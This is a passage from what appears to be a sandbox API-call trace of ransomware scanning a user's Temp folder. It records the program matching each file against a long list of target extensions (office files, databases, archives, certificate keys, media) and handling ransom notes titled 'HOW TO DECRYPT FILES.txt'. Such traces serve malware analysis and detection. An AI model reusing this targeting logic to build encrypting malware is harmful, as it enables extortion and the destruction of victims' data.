lstrlenA (lpString="*.php") returned 5 [0086.685] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.cs") returned 0 [0086.685] lstrlenA (lpString="*.cs") returned 4 [0086.685] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.cpp") returned 0 [0086.685] lstrlenA (lpString="*.cpp") returned 5 [0086.685] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.rar") returned 0 [0086.685] lstrlenA (lpString="*.rar") returned 5 [0086.685] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.zip") returned 0 [0086.685] lstrlenA (lpString="*.zip") returned 5 [0086.685] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.html") returned 0 [0086.685] lstrlenA (lpString="*.html") returned 6 [0086.685] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.htm") returned 0 [0086.685] lstrlenA (lpString="*.htm") returned 5 [0086.685] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.xlsx") returned 0 [0086.685] lstrlenA (lpString="*.xlsx") returned 6 [0086.685] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.xls") returned 0 [0086.685] lstrlenA (lpString="*.xls") returned 5 [0086.686] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.mp4") returned 0 [0086.686] lstrlenA (lpString="*.mp4") returned 5 [0086.686] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.ppt") returned 0 [0086.686] lstrlenA (lpString="*.ppt") returned 5 [0086.686] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.pptx") returned 0 [0086.686] lstrlenA (lpString="*.pptx") returned 6 [0086.686] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.doc") returned 0 [0086.686] lstrlenA (lpString="*.doc") returned 5 [0086.686] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.dot") returned 0 [0086.686] lstrlenA (lpString="*.dot") returned 5 [0086.686] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.docx") returned 0 [0086.686] lstrlenA (lpString="*.docx") returned 6 [0086.687] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.7z") returned 0 [0086.687] lstrlenA (lpString="*.7z") returned 4 [0086.687] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.tar") returned 0 [0086.687] lstrlenA (lpString="*.tar") returned 5 [0086.687] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.bz2") returned 0 [0086.687] lstrlenA (lpString="*.bz2") returned 5 [0086.687] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.gz") returned 0 [0086.687] lstrlenA (lpString="*.gz") returned 4 [0086.687] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.mkv") returned 0 [0086.687] lstrlenA (lpString="*.mkv") returned 5 [0086.687] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.eml") returned 0 [0086.687] lstrlenA (lpString="*.eml") returned 5 [0086.687] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.msg") returned 0 [0086.687] lstrlenA (lpString="*.msg") returned 5 [0086.688] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.edb") returned 0 [0086.688] lstrlenA (lpString="*.edb") returned 5 [0086.688] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.accdb") returned 0 [0086.688] lstrlenA (lpString="*.accdb") returned 7 [0086.688] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.odb") returned 0 [0086.688] lstrlenA (lpString="*.odb") returned 5 [0086.688] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.java") returned 0 [0086.688] lstrlenA (lpString="*.java") returned 6 [0086.688] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.asm") returned 0 [0086.688] lstrlenA (lpString="*.asm") returned 5 [0086.688] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.pfx") returned 0 [0086.688] lstrlenA (lpString="*.pfx") returned 5 [0086.688] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.pem") returned 0 [0086.688] lstrlenA (lpString="*.pem") returned 5 [0086.688] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.p12") returned 0 [0086.688] lstrlenA (lpString="*.p12") returned 5 [0086.688] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.gpg") returned 0 [0086.688] lstrlenA (lpString="*.gpg") returned 5 [0086.688] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.vsd") returned 0 [0086.688] lstrlenA (lpString="*.vsd") returned 5 [0086.688] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.odg") returned 0 [0086.688] lstrlenA (lpString="*.odg") returned 5 [0086.688] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.raw") returned 0 [0086.688] lstrlenA (lpString="*.raw") returned 5 [0086.688] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.nef") returned 0 [0086.688] lstrlenA (lpString="*.nef") returned 5 [0086.688] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.svg") returned 0 [0086.688] lstrlenA (lpString="*.svg") returned 5 [0086.689] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.psd") returned 0 [0086.689] lstrlenA (lpString="*.psd") returned 5 [0086.689] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.vmx") returned 0 [0086.689] lstrlenA (lpString="*.vmx") returned 5 [0086.689] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.vmdk") returned 0 [0086.689] lstrlenA (lpString="*.vmdk") returned 6 [0086.689] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.vdi") returned 0 [0086.689] lstrlenA (lpString="*.vdi") returned 5 [0086.689] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.lay6") returned 0 [0086.689] lstrlenA (lpString="*.lay6") returned 6 [0086.689] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.mpeg") returned 0 [0086.689] lstrlenA (lpString="*.mpeg") returned 6 [0086.689] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.djvu") returned 0 [0086.689] lstrlenA (lpString="*.djvu") returned 6 [0086.689] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.tiff") returned 0 [0086.689] lstrlenA (lpString="*.tiff") returned 6 [0086.689] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.backup") returned 0 [0086.689] lstrlenA (lpString="*.backup") returned 8 [0086.689] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.pdf") returned 0 [0086.689] lstrlenA (lpString="*.pdf") returned 5 [0086.689] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.cert") returned 0 [0086.689] lstrlenA (lpString="*.cert") returned 6 [0086.689] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.docm") returned 0 [0086.689] lstrlenA (lpString="*.docm") returned 6 [0086.689] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.xlsm") returned 0 [0086.689] lstrlenA (lpString="*.xlsm") returned 6 [0086.689] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.dwg") returned 0 [0086.689] lstrlenA (lpString="*.dwg") returned 5 [0086.689] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.nd") returned 0 [0086.689] lstrlenA (lpString="*.nd") returned 4 [0086.689] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.tlg") returned 0 [0086.689] lstrlenA (lpString="*.tlg") returned 5 [0086.690] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.lgb") returned 0 [0086.690] lstrlenA (lpString="*.lgb") returned 5 [0086.690] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.mov") returned 0 [0086.690] lstrlenA (lpString="*.mov") returned 5 [0086.690] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.xdw") returned 0 [0086.690] lstrlenA (lpString="*.xdw") returned 5 [0086.690] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.ods") returned 0 [0086.690] lstrlenA (lpString="*.ods") returned 5 [0086.690] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.wav") returned 0 [0086.690] lstrlenA (lpString="*.wav") returned 5 [0086.690] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.mp3") returned 0 [0086.690] lstrlenA (lpString="*.mp3") returned 5 [0086.690] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.aiff") returned 0 [0086.690] lstrlenA (lpString="*.aiff") returned 6 [0086.690] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.flac") returned 0 [0086.690] lstrlenA (lpString="*.flac") returned 6 [0086.690] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.m4a") returned 0 [0086.690] lstrlenA (lpString="*.m4a") returned 5 [0086.690] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.csv") returned 0 [0086.690] lstrlenA (lpString="*.csv") returned 5 [0086.690] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2c0524f0, ftCreationTime.dwHighDateTime=0x1d5e039, ftLastAccessTime.dwLowDateTime=0x706786e0, ftLastAccessTime.dwHighDateTime=0x1d5e676, ftLastWriteTime.dwLowDateTime=0x706786e0, ftLastWriteTime.dwHighDateTime=0x1d5e676, nFileSizeHigh=0x0, nFileSizeLow=0x215a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PCxfJZ 0TVHKPq3H_uRg.avi", cAlternateFileName="PCXFJZ~1.AVI")) returned 1 [0086.690] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0086.690] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PCxfJZ 0TVHKPq3H_uRg.avi") returned -1 [0086.690] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PCxfJZ 0TVHKPq3H_uRg.avi") returned -1 [0086.690] lstrcmpiA (lpString1="", lpString2="PCxfJZ 0TVHKPq3H_uRg.avi") returned -1 [0086.690] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf") returned="NnHwKGuQDgOQCT JDGl6.swf" [0086.690] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" [0086.690] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="" [0086.690] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" [0086.690] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\how to decrypt files.txt")) returned 0x2020 [0086.691] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="PCxfJZ 0TVHKPq3H_uRg.avi" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi" [0086.691] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.ems") returned 0 [0086.691] lstrlenA (lpString="*.ems") returned 5 [0086.691] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.db") returned 0 [0086.691] lstrlenA (lpString="*.db") returned 4 [0086.691] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.dbf") returned 0 [0086.691] lstrlenA (lpString="*.dbf") returned 5 [0086.691] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.myox") returned 0 [0086.691] lstrlenA (lpString="*.myox") returned 6 [0086.691] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.myo") returned 0 [0086.691] lstrlenA (lpString="*.myo") returned 5 [0086.691] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.qbw") returned 0 [0086.691] lstrlenA (lpString="*.qbw") returned 5 [0086.691] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.qbb") returned 0 [0086.691] lstrlenA (lpString="*.qbb") returned 5 [0086.691] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.qbm") returned 0 [0086.691] lstrlenA (lpString="*.qbm") returned 5 [0086.691] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.qbo") returned 0 [0086.691] lstrlenA (lpString="*.qbo") returned 5 [0086.691] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.qbx") returned 0 [0086.691] lstrlenA (lpString="*.qbx") returned 5 [0086.691] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.qba") returned 0 [0086.691] lstrlenA (lpString="*.qba") returned 5 [0086.691] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.qby") returned 0 [0086.691] lstrlenA (lpString="*.qby") returned 5 [0086.691] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.qbj") returned 0 [0086.691] lstrlenA (lpString="*.qbj") returned 5 [0086.691] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.ofx") returned 0 [0086.691] lstrlenA (lpString="*.ofx") returned 5 [0086.691] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.qif") returned 0 [0086.692] lstrlenA (lpString="*.qif") returned 5 [0086.692] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.mye") returned 0 [0086.692] lstrlenA (lpString="*.mye") returned 5 [0086.692] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.mbox") returned 0 [0086.692] lstrlenA (lpString="*.mbox") returned 6 [0086.692] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.eml") returned 0 [0086.692] lstrlenA (lpString="*.eml") returned 5 [0086.692] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.pst") returned 0 [0086.692] lstrlenA (lpString="*.pst") returned 5 [0086.692] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.ost") returned 0 [0086.692] lstrlenA (lpString="*.ost") returned 5 [0086.692] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.idx") returned 0 [0086.692] lstrlenA (lpString="*.idx") returned 5 [0086.692] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.dbx") returned 0 [0086.692] lstrlenA (lpString="*.dbx") returned 5 [0086.692] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.sql") returned 0 [0086.692] lstrlenA (lpString="*.sql") returned 5 [0086.692] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.mdb") returned 0 [0086.692] lstrlenA (lpString="*.mdb") returned 5 [0086.692] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.fdb") returned 0 [0086.692] lstrlenA (lpString="*.fdb") returned 5 [0086.692] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.wab") returned 0 [0086.692] lstrlenA (lpString="*.wab") returned 5 [0086.692] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.dat") returned 0 [0086.692] lstrlenA (lpString="*.dat") returned 5 [0086.692] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.txt") returned 0 [0086.692] lstrlenA (lpString="*.txt") returned 5 [0086.692] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.jpeg") returned 0 [0086.692] lstrlenA (lpString="*.jpeg") returned 6 [0086.692] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.jpg") returned 0 [0086.692] lstrlenA (lpString="*.jpg") returned 5 [0086.692] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.png") returned 0 [0086.693] lstrlenA (lpString="*.png") returned 5 [0086.693] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.php") returned 0 [0086.693] lstrlenA (lpString="*.php") returned 5 [0086.693] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.cs") returned 0 [0086.693] lstrlenA (lpString="*.cs") returned 4 [0086.693] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.cpp") returned 0 [0086.693] lstrlenA (lpString="*.cpp") returned 5 [0086.693] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.rar") returned 0 [0086.693] lstrlenA (lpString="*.rar") returned 5 [0086.693] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.zip") returned 0 [0086.693] lstrlenA (lpString="*.zip") returned 5 [0086.693] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.html") returned 0 [0086.693] lstrlenA (lpString="*.html") returned 6 [0086.693] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.htm") returned 0 [0086.693] lstrlenA (lpString="*.htm") returned 5 [0086.693] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.xlsx") returned 0 [0086.693] lstrlenA (lpString="*.xlsx") returned 6 [0086.693] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.xls") returned 0 [0086.693] lstrlenA (lpString="*.xls") returned 5 [0086.693] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.mp4") returned 0 